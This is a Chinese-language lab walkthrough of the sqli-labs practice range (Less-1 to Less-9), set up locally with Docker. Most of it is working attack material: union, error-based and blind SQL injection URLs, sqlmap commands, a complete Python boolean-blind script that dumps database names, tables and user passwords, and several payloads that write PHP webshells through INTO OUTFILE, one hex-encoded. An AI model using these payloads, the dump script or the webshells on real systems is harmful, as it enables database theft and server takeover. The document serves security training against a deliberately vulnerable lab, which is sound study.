前置
参考其他dl的解法
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析_sqlilabs靶场1–65过关-CSDN博客
sqli-labs通关大全(更新至Less60)_sqlilabs通关-CSDN博客
SQLI labs 靶场精简学习记录 | 国光 (sqlsec.com)
部署
docker pull acgpiano/sqli-labs
docker run -dt --name sqli-lab -p 8888:80 acgpiano/sqli-labs:latest
工具
Firefox:hackbar+burpsuite
目前是基础阶段,利用工具进行手注
Basic-Challenges
Less-1
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id='$id' |
关键代码
# 单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持联合、报错、布尔盲注、延时盲注
if true:
输出查询内容
else:
print_r(mysql_error());
联合注入
-
判断类型
故为字符型
-
查字段个数
1,2,3均有回显,说明字段数有3个,盲猜id
,username
,password
-
查回显位
字段数有三个,使用
union select 1,2,3
注意这里的
id
要写一个不存在的值,否则会导致只显示前一个查询的查询结果http://localhost:32769/Less-1/?id=0'union+select+1,2,3--+
可见回显位为2,3
-
爆数据库名
http://localhost:32769/Less-1/?id=0'union+select+1,2,database()--+
数据库名为
security
-
爆表名
http://localhost:32769/Less-1/?id=0'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 有emails,referers,uagents,users 4个表
-
爆列名
http://localhost:32769/Less-1/?id=0'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="emails"--+
email
的列名为id
,email_id
users
的列名为id
,username
,password
-
查信息
现在就可以随便查了
-
写入webshell
http://localhost:32769/Less-1/?id=0'union select 1,2,'<?php assert($_POST[less1]);?>' into outfile './less1.php'--+
/var/lib/mysql/less1.php
这里是默认位置,为确保能连接网站shell要调整位置
sqlmap
如果sqlmap
都跑不出来我觉得手注就可以放弃了,因为比较浪费时间
但是一般网站sqlmap
都跑不出来:(
联合查询注入
BASH
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
报错注入
BASH
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3
布尔盲注
BASH
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
延时盲注
BASH
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3
Less-2
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id=$id |
这里与Less-1
的区别在于,是数字型闭合,其实完全没区别
http://localhost:32769/Less-2/?id=1 and 1=2 #这里判断是数字型注入,不用闭合
http://localhost:32769/Less-2/?id=1 order by 3
http://localhost:32769/Less-2/?id=1 order by 4 #这里判断出有3个字段
http://localhost:32769/Less-2/?id=0 union select 1,2,3#回显为2,3
http://localhost:32769/Less-2/?id=0 union select 1,2,database()#爆数据库名
http://localhost:32769/Less-2/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#爆出了表名
http://localhost:32769/Less-2/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"#爆出了列名
http://localhost:32769/Less-2/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"#爆信息
http://192.168.101.16/sqli-labs-master/Less-2/?id=-1 union select 1,2,'<?php assert($_POST[less2]);?>' into outfile 'C:/less2.php'-- s#写webshell
Less-3
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id=('$id') |
与Less-1
差不多,不过这里的闭合需要将括号也给闭合掉
http://localhost:32769/Less-3/?id=1'#从这里的报错可以得知需要闭合什么符号
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 --->这里就显示出了闭合方式是('$id')
http://localhost:32769/Less-3/?id=1') order by 4--+
http://localhost:32769/Less-3/?id=1') order by 3--+ #当前表的列数
http://localhost:32769/Less-3/?id=-1') union select 1,2,3--+#判断出当前的回显位为2,3
http://localhost:32769/Less-3/?id=-1')union select 1,2,database()--+#判断出数据库名
1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+#爆出当前数据库的表名
http://localhost:32769/Less-3/?id=-1')union select 1,2,group_concat(column_name)from information_schema.columns where table_name="users"--+#爆出列名
http://localhost:32769/Less-3/?id=-1')union select 1,2,group_concat(id,username,password) from users --+#爆出信息
Less-4
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id=("$id") |
与Less-3
是一样的,就闭合方式不同
Less-5
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | id='$id' |
这一关由于不回显查询结果,所以联合注入是用不了的
报错注入
- 基于
XPath
的报错注入
http://localhost:32769/Less-5/?id=3\#判断出闭合方式 是单引号闭合
http://localhost:32769/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+#爆库名
http://localhost:32769/Less-5/?id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name )from information_schema.tables where table_schema=database()),0x7e),1)--+#爆出当前的表名
http://localhost:32769/Less-5/?id=1'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database()and table_name="users"),0x7e),1)--+#爆出当前表的列名
http://localhost:32769/Less-5/?id=1'and updatexml(1,concat(0x7e,(select group_concat(password)from users ),0x7e),1)--+#在这里会发现报错注入的回显长度不够 我们用substr或者mid就可以解决
http://localhost:32769/Less-5/?id=1'and updatexml(1,substr(concat(0x7e,(select group_concat(username,":",password)from users ),0x7e),32,31),1)--+
#改变偏移 一点一点的爆可以写脚本进行自动化,这里不展开了
#还可以写入webshell
?id=1' into outfile '.less5.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373355d293b3f3e-- s
Less-6
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | id="$id" |
与Less-5
一模一样,只是闭合方式不一样
http://localhost:32769/Less-6/?id=1"and updatexml(1,concat(0x7e,database(),0x7e),1)--+ #爆库名
updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --#爆表名
http://localhost:32769/Less-6/?id=1"and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1) --+
#爆列名,然后随便查
Less-7
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id=(('$id')) |
这里发现不会显示报错结果,就排除了联合注入和报错注入
这里只能使用布尔盲注或者延时盲注了
布尔盲注示例脚本
import requests
def ascii_str():#生成库名表名字符所在的字符列表字典
str_list=[]
for i in range(33,127):#所有可显示字符
str_list.append(chr(i))
#print('可显示字符:%s'%str_list)
return str_list#返回字符列表
def db_length(url,str):
print("[-]开始测试数据库名长度.......")
num=1
while True:
db_payload=url+"and (length(database())=%d)--+"%num
r=requests.get(db_payload)
if str in r.text:
db_length=num
print("[+]数据库长度:%d\n"%db_length)
db_name(db_length)#进行下一步,测试库名
break
else:
num += 1
def db_name(db_length):
print("[-]开始测试数据库名.......")
db_name=''
str_list=ascii_str()
for i in range(1,db_length+1):
for j in str_list:
db_payload=url+"and (ord(mid(database(),%d,1))='%s')--+"%(i,ord(j))
r=requests.get(db_payload)
if str in r.text:
db_name+=j
break
print("[+]数据库名:%s\n"%db_name)
tb_piece(db_name)#进行下一步,测试security数据库有几张表
return db_name
def tb_piece(db_name):
print("开始测试%s数据库有几张表........"%db_name)
for i in range(100):#猜解库中有多少张表,合理范围即可
tb_payload=url+"and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+"%(i,db_name)
r=requests.get(tb_payload)
if str in r.text:
tb_piece=i
break
print("[+]%s库一共有%d张表\n"%(db_name,tb_piece))
tb_name(db_name,tb_piece)#进行下一步,猜解表名
def tb_name(db_name,tb_piece):
print("[-]开始猜解表名.......")
table_list=[]
for i in range(tb_piece):
str_list=ascii_str()
tb_length=0
tb_name=''
for j in range(1,20):#表名长度,合理范围即可
tb_payload=url+"and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+"%(i,j)
r=requests.get(tb_payload)
if str in r.text:
tb_length=j
print("第%d张表名长度:%s"%(i+1,tb_length))
for k in range(1,tb_length+1):#根据表名长度进行截取对比
for l in str_list:
tb_payload=url+"and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+"%(i,k,ord(l))
r=requests.get(tb_payload)
if str in r.text:
tb_name+=l
print("[+]:%s"%tb_name)
table_list.append(tb_name)
break
print("\n[+]%s库下的%s张表:%s\n"%(db_name,tb_piece,table_list))
column_num(table_list,db_name)#进行下一步,猜解每张表的字段数
def column_num(table_list,db_name):
print("[-]开始猜解每张表的字段数:.......")
column_num_list=[]
for i in table_list:
for j in range(30):#每张表的字段数量,合理范围即可
column_payload=url+"and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+"%(j,i)
r=requests.get(column_payload)
if str in r.text:
column_num=j
column_num_list.append(column_num)#把所有表的字段,依次放入这个列表当中
print("[+]%s表\t%s个字段"%(i,column_num))
break
print("\n[+]表对应的字段数:%s\n"%column_num_list)
column_name(table_list,column_num_list,db_name)#进行下一步,猜解每张表的字段名
def column_name(table_list,column_num_list,db_name):
print("[-]开始猜解每张表的字段名.......")
column_length=[]
str_list=ascii_str()
column_name_list=[]
for t in range(len(table_list)):#t在这里代表每张表的列表索引位置
print("\n[+]%s表的字段:"%table_list[t])
for i in range(column_num_list[t]):#i表示每张表的字段数量
column_name=''
for j in range(1,21):#j表示每个字段的长度
column_name_length=url+"' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+"%(j-1,table_list[t],i)
r=requests.get(column_name_length)
if str in r.text:
column_length.append(j)
break
for k in str_list:#k表示我们猜解的字符字典
column_payload=url+"and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+"%(table_list[t],i,j,ord(k))
r=requests.get(column_payload)
if str in r.text:
column_name+=k
print('[+]:%s'%column_name)
column_name_list.append(column_name)
#print(column_name_list)#输出所有表中的字段名到一个列表中
dump_data(table_list,column_name_list,db_name)#进行最后一步,输出指定字段的数据
def dump_data(table_list,column_name_list,db_name):
print("\n[-]对%s表的%s字段进行爆破.......\n"%(table_list[3],column_name_list[9:12]))
str_list=ascii_str()
for i in column_name_list[9:12]:#id,username,password字段
for j in range(101):#j表示有多少条数据,合理范围即可
data_num_payload=url+"and (select count(%s) from %s.%s)=%d--+"%(i,db_name,table_list[3],j)
r=requests.get(data_num_payload)
if str in r.text:
data_num=j
break
print("\n[+]%s表中的%s字段有以下%s条数据:"%(table_list[3],i,data_num))
for k in range(data_num):
data_len=0
dump_data=''
for l in range(1,21):#l表示每条数据的长度,合理范围即可
data_len_payload=url+"and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+"%(i,db_name,table_list[3],k,l)
r=requests.get(data_len_payload)
if str not in r.text:
data_len=l-1
for x in range(1,data_len+1):#x表示每条数据的实际范围,作为mid截取的范围
for y in str_list:
data_payload=url+"and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+"%(i,db_name,table_list[3],k,x,ord(y))
r=requests.get(data_payload)
if str in r.text:
dump_data+=y
break
break
print('[+]%s'%dump_data)#输出每条数据
if __name__ == '__main__':
url="http://127.0.0.1:32769/Less-7/?id=1'))"#目标url
str="You are in"#布尔型盲注的true&false的判断因素
db_length(url,str)#程序入口
sqlmap
sqlmap -u "http://127.0.0.132789/Less-7/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
id=1') AND 3542=3542 AND ('rmsD'='rmsD
sqlmap -u "http://127.0.0.1:32789/Less-7/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3
id=1') AND (SELECT 9943 FROM (SELECT(SLEEP(5)))XOYy) AND ('QUpy'='QUpy
写入webshell
/?id=1'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "/var/www/html/Less-7/info.php"--+
Less-8
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id='$id' |
与Less-7
一样,修改拼接方式即可
Less-9
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 延时盲注 | id='$id' |
首先看源代码
# 使用单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持延时盲注
if true:
输出 You are in............
else:
输出 You are in...........
由于报错是一样的,我们找不到布尔的判断标准,也就无从使用布尔盲注
所以只能使用延时盲注